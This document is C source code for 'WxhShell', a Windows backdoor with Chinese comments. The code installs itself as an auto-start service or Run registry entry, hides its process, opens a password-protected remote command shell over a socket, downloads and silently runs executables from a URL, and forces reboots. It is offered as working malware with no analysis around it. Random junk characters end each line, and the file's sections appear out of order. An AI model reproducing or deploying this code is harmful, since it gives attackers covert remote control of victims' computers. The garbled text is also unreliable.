    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); w}s5=>QG%  
    if(Boot(SHUTDOWN)) D< kf/hj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?M^qSo=/~  
    else { 3.9/mztS  
    closesocket(wsh); ~Kl"V% >  
    ExitThread(0); ~pHuh#>  
    } h/2@4XKj  
    break; %<r}V<OeR  
    } <m0=bm{j  
  // 获取shell E@6gTx*  
  case 's': { a|(|!=  
    CmdShell(wsh); 5A^8?,F@  
    closesocket(wsh); $inKI  
    ExitThread(0); 1]Cd fj6@  
    break; z "z  
  } Mf !S'\  
  // 退出  vY"I  
  case 'x': { o2;Eti  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); i'10qWz  
    CloseIt(wsh); Hy -)yR  
    break; 138v{Z  
    } TRJTJM_k  
  // 离开 M`7[hr  
  case 'q': { ,Vl2U"   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `[e0_g\  
    closesocket(wsh); =$%-RX7  
    WSACleanup(); v V;]?  
    exit(1); ;$8ptB.  
    break; -d thY(8  
        } 9g# 62oIg  
  } "a(e2H2&T4  
  } (zxL!ZR<  
N<<O(r  
  // 提示信息 q(csZ\e=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v$+A!eo  
} J1 w3g,  
  } @BPQ >  
O S#RCN*  
  return;  w%::~]  
} Aar]eY\  
ThkCKM  
// shell模块句柄 &gW<v\6,  
int CmdShell(SOCKET sock) auqN8_+=  
{ \t`VqJLyu  
STARTUPINFO si; I8 [ *  
ZeroMemory(&si,sizeof(si)); bSn={O"M  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; rCsC}2O  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }@/Ox  
PROCESS_INFORMATION ProcessInfo; yMzy!b Ky  
char cmdline[]="cmd"; Qmb+%z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); epG]$T![  
  return 0; s];0-65)  
} 4sX? O4p  
wkx#WC  
// 自身启动模式 $at\aJ  
int StartFromService(void) CIsX$W  
{ }D`ZWTjDay  
typedef struct ,9"du  
{ Z15 =vsV  
  DWORD ExitStatus; 5q'b M  
  DWORD PebBaseAddress; r\}?HS06  
  DWORD AffinityMask; etUfdZ  
  DWORD BasePriority; T XT<6(  
  ULONG UniqueProcessId; ic3Szd^4  
  ULONG InheritedFromUniqueProcessId; Yakrsi/jV}  
}   PROCESS_BASIC_INFORMATION; XH0o8\.  
y|i(~  
PROCNTQSIP NtQueryInformationProcess; r_FI5f  
P.g./8N`z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Nq^o8q_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  Hyenn  
,Z :2ba  
  HANDLE             hProcess; c<~DYe;;  
  PROCESS_BASIC_INFORMATION pbi; mkPqxzxbrL  
MiKq|  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); M= |is*t  
  if(NULL == hInst ) return 0; `c|H^*RC  
m5a'Vs  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); B*E"yB\NV  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); I[gPW7&S@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); W voIh4]  
9$qw&j[  
  if (!NtQueryInformationProcess) return 0; 2yD ?f8P4  
DZLEx{cm  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?R4u>AHS@  
  if(!hProcess) return 0; ,\1Rf.  
@HnahD  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; osmCwM4O  
'66nqJb*  
  CloseHandle(hProcess); QFN9j  
M?;YpaSe+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 90,UhNz9D  
if(hProcess==NULL) return 0; ;49sou  
m6H+4@Z-;(  
HMODULE hMod; @MoCEtt  
char procName[255]; :cIPX%S  
unsigned long cbNeeded; |}:q@]dC#  
;Xqi;EA  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); PR AP~P&^  
[3ggJcUgW>  
  CloseHandle(hProcess); K6)IBV;  
I>w|80%%  
if(strstr(procName,"services")) return 1; // 以服务启动 'vZy-qHrV  
EZVgTySd  
  return 0; // 注册表启动 p2fzbBt  
} ?5;wPDsK  
^vv 1cft  
// 主模块 8Fbt >-N<\  
int StartWxhshell(LPSTR lpCmdLine) S$P=;#r  
{ ;9-J=@KY4  
  SOCKET wsl; BZKg:;9  
BOOL val=TRUE; jq_4x[  
  int port=0; jeO`45O  
  struct sockaddr_in door; 0"N4WH O  
__uk/2q  
  if(wscfg.ws_autoins) Install(); ar'VoL}  
Sj*W|n\gj  
port=atoi(lpCmdLine); M0e&GR8<z>  
kmlO}0  
if(port<=0) port=wscfg.ws_port; u[4h|*'"|  
`K[r5;QFKf  
  WSADATA data; x%T^:R  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >HzTaXCR[  
3j[<nBsn.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   s ya!VF]`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Y t_t>  
  door.sin_family = AF_INET; KG96;l@'(  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); M\Wg|gpy  
  door.sin_port = htons(port); rTOex]@N  
Zs;c0T ">  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7TU77  
closesocket(wsl); 9"/=D9o9  
return 1; HCYy9  
} %m/5! "  
9Uz2j$p7  
  if(listen(wsl,2) == INVALID_SOCKET) { o)CW7Y#?,  
closesocket(wsl); Xi+l1xe  
return 1; `r}a:w-  
} Y(ClG*6 ++  
  Wxhshell(wsl); *_Ih@f H  
  WSACleanup(); ADP3Nic  
<]#_&Na  
return 0; W'E3_dj+  
BvHI}=  
} -- IewW  
lQt,(@7]  
// 以NT服务方式启动 !:uh? RW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) sebuuL.l0<  
{ jxq89x  
DWORD   status = 0; P8 w56  
  DWORD   specificError = 0xfffffff; }XRfHQk  
^L\w"`,~  
  serviceStatus.dwServiceType     = SERVICE_WIN32; up~p_{x)Q  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5g'aNkF6>  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  (tT%rj!  
  serviceStatus.dwWin32ExitCode     = 0; w*(1qUF#%  
  serviceStatus.dwServiceSpecificExitCode = 0; ,wHlU-%  
  serviceStatus.dwCheckPoint       = 0; ;qUd]c9oi  
  serviceStatus.dwWaitHint       = 0; 0&Iu+hv  
~X'hRNFx~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); X*bOE}  
  if (hServiceStatusHandle==0) return; i\4dd)p-  
:Fh_Ya0  
status = GetLastError(); DIhV;[\  
  if (status!=NO_ERROR) QYAt)Ik9q  
{  3L4v@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; U9%^gC  
    serviceStatus.dwCheckPoint       = 0; >=1UhHFNI  
    serviceStatus.dwWaitHint       = 0; Q(Pc  
    serviceStatus.dwWin32ExitCode     = status; k>E/)9%ep2  
    serviceStatus.dwServiceSpecificExitCode = specificError; P8ns @VV  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?8<R)hJa<  
    return; B7%m7GM  
  } THy   
(8~Hr?1B  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3#F"UG2,_  
  serviceStatus.dwCheckPoint       = 0; / =v1.9(  
  serviceStatus.dwWaitHint       = 0; C [8='i26  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); I=YZ!*f/`  
} $UdFm8&  
7L]Y.7>  
// 处理NT服务事件,比如:启动、停止 Go~3L8 '  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :/fT8KCwo  
{ Ro2!$[P  
switch(fdwControl) F7=&CW 0  
{ k4"O} jQO  
case SERVICE_CONTROL_STOP: _gCi@uXS3  
  serviceStatus.dwWin32ExitCode = 0; w (ev=)7<  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @ "C P@^  
  serviceStatus.dwCheckPoint   = 0; H^$7=  
  serviceStatus.dwWaitHint     = 0; 5<oV>|*@{  
  { Ik=bgEF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ag!q:6&  
  } nEik;hAz  
  return; TF,([p*  
case SERVICE_CONTROL_PAUSE: C3K")BO!  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7|)K!  
  break; C}:_&^DQ  
case SERVICE_CONTROL_CONTINUE: i[vOpg]J  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Dd)L~`k{)  
  break; o4aFgal1  
case SERVICE_CONTROL_INTERROGATE: _o>?\:A  
  break; ;4`%?6%  
}; sB'~=1m^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d! _8+~  
} r+h$]OJ  
irGgo-x  
// 标准应用程序主函数 y"w`yl{_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9 tCF m.m  
{ -}H EV#ev  
"?"+1S  
// 获取操作系统版本 iR'Pc3   
OsIsNt=GetOsVer(); j[fY.>yt&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); qa?0GTAS  
V24FzQ?z:.  
  // 从命令行安装 f!cYLU1e@  
  if(strpbrk(lpCmdLine,"iI")) Install(); TF@k{_f  
:HH3=.qAp`  
  // 下载执行文件 j$z!kd+%  
if(wscfg.ws_downexe) { /@LUD=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =UZQ` {  
  WinExec(wscfg.ws_filenam,SW_HIDE); X@:@1+U  
} 1?".R]<{2T  
1X#gHstD  
if(!OsIsNt) { N[xa=  
// 如果时win9x,隐藏进程并且设置为注册表启动 j[:Iu#VR  
HideProc(); &W>%E!F  
StartWxhshell(lpCmdLine); @dvb%A&Pur  
} }#`-mRaU  
else g+KuK`\N%  
  if(StartFromService()) WiF6*]oI  
  // 以服务方式启动 V_=7q=9mV  
  StartServiceCtrlDispatcher(DispatchTable); p8E6_%Rw  
else '77Gg  
  // 普通方式启动 6" GHVFB  
  StartWxhshell(lpCmdLine); )'$'?Fn  
q_h/zPuH'  
return 0;  <+p{U(  
} b./MVz  
QbEb} Jt  
cGv`%  
PW"uPn  
=========================================== SbD B[O%  
cdD?QnZ  
2zbV9Bhq  
s-T#-raE  
E~c>LF_]Q  
 dm{/  
" DG 6W ^  
HP[M"u  
#include <stdio.h> }(w9[(K  
#include <string.h> 7[YulC-pH  
#include <windows.h> GFYHt!&[\  
#include <winsock2.h> UiN6-{v<2  
#include <winsvc.h> 91}kBj  
#include <urlmon.h> h@D!/PS  
SfGl*2  
#pragma comment (lib, "Ws2_32.lib") ?w>-ya  
#pragma comment (lib, "urlmon.lib") /jd.<r=_I  
N=TDywRI  
#define MAX_USER   100 // 最大客户端连接数 `SG8w_  
#define BUF_SOCK   200 // sock buffer (L !#2Jy  
#define KEY_BUFF   255 // 输入 buffer HD8*>p.  
Rj])c^ZA'*  
#define REBOOT     0   // 重启 !mu1e=bY>  
#define SHUTDOWN   1   // 关机 U#kd cc|  
ifcC [.im  
#define DEF_PORT   5000 // 监听端口 m4'x>Z  
#PA 9bM  
#define REG_LEN     16   // 注册表键长度 7;Vqr$9)  
#define SVC_LEN     80   // NT服务名长度 #;s5=aH  
pLsWy&G  
// 从dll定义API pXoT@[}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5>S)+p  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Jm]P,jaLc  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ECLQqjB  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); JnXVI!+JDL  
unAu8k^  
// wxhshell配置信息 0GMov]W?i  
struct WSCFG { vQ1#Zg y  
  int ws_port;         // 监听端口 :lp V  
  char ws_passstr[REG_LEN]; // 口令 V})b.\"F  
  int ws_autoins;       // 安装标记, 1=yes 0=no `fq#W#Pu  
  char ws_regname[REG_LEN]; // 注册表键名 '\/|K  
  char ws_svcname[REG_LEN]; // 服务名 YG#.L}X@C  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 'zfj`aqc  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 VK^m]??s_  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?m:,hI  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 75*q^ui  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" # 4;(^`?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9=p/'d8  
vALH!Kh  
}; L31#v$;4  
x\'95qU  
// default Wxhshell configuration #A9rI;"XI  
struct WSCFG wscfg={DEF_PORT, oO&R3zA1d  
    "xuhuanlingzhe", EOzw&M];r  
    1, Ks\\2$Cm7  
    "Wxhshell", uu;1B.[b  
    "Wxhshell", gEkH5|*Y  
            "WxhShell Service", N:&EFfg3  
    "Wrsky Windows CmdShell Service", >\ x!a:}  
    "Please Input Your Password: ", a0 8Wt  
  1, \jHIjFwQ  
  "http://www.wrsky.com/wxhshell.exe", tY!GJusd  
  "Wxhshell.exe" bTW# f$q:4  
    }; RKO}  W#?  
_REAzxe S  
// 消息定义模块 l1ViUY&Z  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Z:Y_{YAD  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }MW+K&sIh  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; xw~3x*{  
char *msg_ws_ext="\n\rExit."; D> EN:_v  
char *msg_ws_end="\n\rQuit."; P8n |MN  
char *msg_ws_boot="\n\rReboot..."; ,]_<8@R  
char *msg_ws_poff="\n\rShutdown..."; p\ _&  
char *msg_ws_down="\n\rSave to "; T!Z).PA#  
o'Kl+gw4  
char *msg_ws_err="\n\rErr!"; 3D2i32Y@!  
char *msg_ws_ok="\n\rOK!"; #Mrc!pT]xy  
W?R@ eq.9  
char ExeFile[MAX_PATH]; 7~m[:Eg6[s  
int nUser = 0; v)%0`%nSR  
HANDLE handles[MAX_USER]; %>!$ eCX  
int OsIsNt; R 9b0D>Lxt  
S$ Z?T  
SERVICE_STATUS       serviceStatus; `xF^9;5mi  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Ktn:6=,  
#-8%g{  
// 函数声明 pra0:oHN  
int Install(void); "-:-!1;Ji  
int Uninstall(void); vhKHiw9L  
int DownloadFile(char *sURL, SOCKET wsh); cE+Y#jB  
int Boot(int flag); IT:8k5(L5j  
void HideProc(void); ZFNg+H/k  
int GetOsVer(void); u{%dm5  
int Wxhshell(SOCKET wsl); BY`vs+]XY  
void TalkWithClient(void *cs); Fb\ E39  
int CmdShell(SOCKET sock); :'X:cL  
int StartFromService(void); (e _l1O?  
int StartWxhshell(LPSTR lpCmdLine); ^!*nhs%  
8\Kpc;zb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); n'qWS/0U=  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  {B7${AE  
K7=> o*p  
// 数据结构和表定义 ,U?^u%  
SERVICE_TABLE_ENTRY DispatchTable[] = fRomP-S  
{ bO+]1nZ.  
{wscfg.ws_svcname, NTServiceMain}, <KBS ;t="1  
{NULL, NULL} a9g~(#?a  
}; $tB `dDj  
p&k%d, *  
// 自我安装 kV@?Oj.&I,  
int Install(void) rBZ0Fx$/[  
{ KuZZKh  
  char svExeFile[MAX_PATH]; sny$[!)  
  HKEY key; U%rq(`;  
  strcpy(svExeFile,ExeFile); PM`iqn)@  
;C,t`(  
// 如果是win9x系统,修改注册表设为自启动 usR+ZQaA  
if(!OsIsNt) { c;.jo?RR2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4n6t(/]b<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,C0D|q4/!.  
  RegCloseKey(key); 7[ZoUWx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vE&K!k`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t_w2J=2  
  RegCloseKey(key); dQ=L<{(  
  return 0; (CInt_dBw~  
    } V)A7q9Bum  
  } xv~Sk2Z+d  
} rr]-$]Q  
else { qFN`pe,  
8,-U`.  
// 如果是NT以上系统,安装为系统服务 K@tELYb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); G>,43S!<  
if (schSCManager!=0) Q PrP3DK  
{ I+W:}}"j  
  SC_HANDLE schService = CreateService k|`Qk!tr  
  ( ti!kJ"q  
  schSCManager, 2B b,ZC*  
  wscfg.ws_svcname, 1xjWD30  
  wscfg.ws_svcdisp, z-_$P)[c  
  SERVICE_ALL_ACCESS, ~Z' /b|x<3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~- eB  
  SERVICE_AUTO_START, 5Zn:$?7  
  SERVICE_ERROR_NORMAL, m2[]`Ir^@  
  svExeFile, qyzH*#d=Cf  
  NULL, ko ~D;M:  
  NULL, ujS C  
  NULL, w_#C8}2  
  NULL, ){*9$486  
  NULL }U|0F#0$  
  ); T'!p{Fbg;  
  if (schService!=0) :QIf0*.O  
  { Nr?CZFN#  
  CloseServiceHandle(schService); +<bvh<]Od  
  CloseServiceHandle(schSCManager); [@Mo3]#\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); m>djoe  
  strcat(svExeFile,wscfg.ws_svcname); @]etW>F_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { kQD~v+u{`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); eh}|Wd7J  
  RegCloseKey(key); B*:W`}G]_c  
  return 0; ?-JW2 E"uT  
    } Q7-'5s   
  } q\xsXM  
  CloseServiceHandle(schSCManager); Zs2;VW4RW  
} ]z8Th5a?o  
} pgBIYeY,  
YRQ?:a{H  
return 1; z}F^HQ 1  
} i,,mt_/,  
P"+R:O\!g  
// 自我卸载 XZT|ID_u"  
int Uninstall(void) O Ke 9/._  
{ {t|Q9&  
  HKEY key; g%okYH?  
Pq1j  
if(!OsIsNt) { Ml6}47n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mYbu1542'n  
  RegDeleteValue(key,wscfg.ws_regname); wRg[Mu,Q5  
  RegCloseKey(key); e!vWGnY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Zn:]?%afdO  
  RegDeleteValue(key,wscfg.ws_regname); kQ"Ax? b  
  RegCloseKey(key); oiOu169]  
  return 0; iUq_vQ@} }  
  } @H}{?-XyA  
} 5Gm8U"UR  
} jT`u!CwdT  
else { q"Sja!-;|  
NjKC{L5S:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); wLxuSs|  
if (schSCManager!=0) .Hg{$SAC(w  
{ g){gF(   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @(IA:6GN  
  if (schService!=0) 4lI&y<F  
  { eoJ*?v  
  if(DeleteService(schService)!=0) { [8>#b_>  
  CloseServiceHandle(schService); J;ycAF~  
  CloseServiceHandle(schSCManager); z{/#/,V5D4  
  return 0; -.K'rW  
  } =.l>Uw!  
  CloseServiceHandle(schService); mR~S$6cc  
  } JFq<sY!  
  CloseServiceHandle(schSCManager); >7z(?nQYT^  
} lo-VfKvy  
} 5a4i)I6 3o  
xeKm} MN]S  
return 1; ,YRBYK:  
} #Q BW%L  
),H1z`c&I  
// 从指定url下载文件 E:;MI{;7  
int DownloadFile(char *sURL, SOCKET wsh) ~MP/[,j`  
{ SNf~%B?`L  
  HRESULT hr; &yI>A1  
char seps[]= "/"; Oj8D+sC{  
char *token; &~'i,v|E  
char *file; j Q8 T  
char myURL[MAX_PATH]; y5XFJj  
char myFILE[MAX_PATH]; 92~$Qa\S!  
(a"/cH  
strcpy(myURL,sURL); sGE %zCB  
  token=strtok(myURL,seps); G?!8T91;  
  while(token!=NULL) u+c2 m  
  { z\YLO%Mm  
    file=token; S5r.so  
  token=strtok(NULL,seps); [E/. r{S  
  } eN`G2eE  
aSI%!Vg.  
GetCurrentDirectory(MAX_PATH,myFILE); i=&]%T6Qk  
strcat(myFILE, "\\"); )1 QOA  
strcat(myFILE, file); FGeKhA 8jT  
  send(wsh,myFILE,strlen(myFILE),0); aGAr24]y  
send(wsh,"...",3,0); r.c:QY$  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /N,\st  
  if(hr==S_OK) [fY7|  
return 0; 7jGfQ  
else 0}po74x*r  
return 1; v^ v \6uEP  
qRz /$|.  
} ( X+2vN  
S;oRE' kk  
// 系统电源模块 ]YOWCFAQot  
int Boot(int flag) /m i&7C(6  
{ ?Ss~!38  
  HANDLE hToken; O\6gw$  
  TOKEN_PRIVILEGES tkp; 5BK3ix*L  
Cxe(iwa.  
  if(OsIsNt) { 1$^r@rP  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); iiWpm E<,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Tl#2w=  
    tkp.PrivilegeCount = 1; TD78&a#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; jvpv1>KYV  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); S,Q(,e^&  
if(flag==REBOOT) { `fl$ o6S/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 3Bcv"O,B!{  
  return 0; X$?0C{@.}  
} 4YoQ*NQw-  
else { AUES;2WL  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) oE2VJKs<B  
  return 0; 8L]Cc!~  
} :B\ $7+$v  
  } (Ffa{Tt!  
  else { wc\`2(  
if(flag==REBOOT) { tI5*0  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Mb45UG#2  
  return 0; LBmXy8'T`  
} e_g&L)  
else { BqDsf5}jpA  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) JB=L{P J  
  return 0; D(WV k  
} 3{$>-d  
} NiQ Y3Nj  
SR_ -wD  
return 1; Tt=;of{  
} %a:T9v  
@VyNe(U  
// win9x进程隐藏模块  m3^D~4  
void HideProc(void) mx#)iHY  
{ sCp)o,;  
hegH^IN M  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =NSunW!  
  if ( hKernel != NULL ) d(Hqj#`-31  
  { 0fK#:6  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (:h&c6'S)b  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); BuUM~k&SY  
    FreeLibrary(hKernel); T0.sL9  
  } e E(+  
"z= ~7g  
return; t:xTmK&vt  
} 8 qZbsZi4  
O@w_"TJP/z  
// 获取操作系统版本 OMd:#cWsQ  
int GetOsVer(void) (+<66 T O  
{ 5=}CZYWB  
  OSVERSIONINFO winfo; /LtbmV  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Sz]1`%_H/  
  GetVersionEx(&winfo); #r1y|)m`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7#X`D  
  return 1; [Z&<# -  
  else Zq H-]?)  
  return 0; t:v>W8N53  
} 2izBB,# "  
M@p<L VP  
// 客户端句柄模块 C~'.3Q6  
int Wxhshell(SOCKET wsl) ?^LG>GgV  
{ d`% 7Pk  
  SOCKET wsh; V|*3*W  
  struct sockaddr_in client; [57`V &c5  
  DWORD myID; UIU6rilB  
8@|{n`n]  
  while(nUser<MAX_USER) \< a^5'  
{ T)Q_dF.N  
  int nSize=sizeof(client); 6Q{OM:L/;.  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); mS49l  
  if(wsh==INVALID_SOCKET) return 1; !D V0u)k(  
N P5K1:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); f zL5C2d  
if(handles[nUser]==0) = C/F26=|  
  closesocket(wsh); jl>wvY||  
else [HQ/MkP-Z  
  nUser++; }_H\ 75Iv  
  } %?F$3YN,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); kf#S"[/E  
NzN"_ojM  
  return 0; Zv?"1Y< L  
} NLUO{'uUW  
t**d{P+  
// 关闭 socket m9 ]Ge]  
void CloseIt(SOCKET wsh) 1u(n[<WtT_  
{ {Z Ld_VGW  
closesocket(wsh); IGab~`c-[  
nUser--; k![H;}W  
ExitThread(0); 2 MW7nIEs  
} MmFtG-  
{~G~=sC$  
// 客户端请求句柄 Ll VbY=EX7  
void TalkWithClient(void *cs) {<#b@=G  
{ jE8}Ho_#)  
|CQ0{1R1  
  SOCKET wsh=(SOCKET)cs; ]86*k %A  
  char pwd[SVC_LEN]; H\a\xCP3  
  char cmd[KEY_BUFF]; +At0V(  
char chr[1]; '+'h^  
int i,j; @hrIu" '!  
ikb77 ?.  
  while (nUser < MAX_USER) { |$+/IxDP  
@=Dc(5`[  
if(wscfg.ws_passstr) { ?ef7%0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y##lFEt  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h`(VMf'#  
  //ZeroMemory(pwd,KEY_BUFF); s0 Z)BR #  
      i=0; P :%b[7  
  while(i<SVC_LEN) { YN7`18u  
g`tV^b")  
  // 设置超时 tZFpxyF  
  fd_set FdRead; Y]5MM:mI  
  struct timeval TimeOut; `)MKCw$e  
  FD_ZERO(&FdRead); q!~DCv df  
  FD_SET(wsh,&FdRead); qG9j}[d'  
  TimeOut.tv_sec=8; $D D esy3  
  TimeOut.tv_usec=0; /s+S\ djk  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); rfzzMV  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +Hp`(^(  
;E>#qYC6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'tU\~3k  
  pwd=chr[0]; | h+vdE8  
  if(chr[0]==0xd || chr[0]==0xa) { c\O2|'JzE  
  pwd=0; !| - U,  
  break; Z`zLrXPD)  
  } 4X+I2CD  
  i++; ]\k& l ['  
    } <'7s3  
x"cB8bZ!$  
  // 如果是非法用户,关闭 socket m`]d`%Ex  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); o02G:!gB  
} 1'8-+?r  
mgM"u94-]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); xO,;4uE  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); EWv[Sp  
|WfL'_?$  
while(1) { e"*ho[  
!4 lN[  
  ZeroMemory(cmd,KEY_BUFF); 4gWlSm)  
u,N<U t  
      // 自动支持客户端 telnet标准   ]1W]  
  j=0; "<%J^Z9G  
  while(j<KEY_BUFF) { U6y`:G;.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wfcR[  
  cmd[j]=chr[0]; ; qr?[{G  
  if(chr[0]==0xa || chr[0]==0xd) { 6':Egh[;  
  cmd[j]=0; w ykaf   
  break; LnsYtkb r  
  } N.ZuSkRM  
  j++; 2"%f:?xV{  
    } ` K0PLxSv  
]&`=p{Z  
  // 下载文件 ]mgpd}Y  
  if(strstr(cmd,"http://")) { #EB Rc4>,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .b^!f<j  
  if(DownloadFile(cmd,wsh)) >.G#\w  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Kc#1H|'2N  
  else `R-?+76?  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U3UA  
  } )%f]P<kq6  
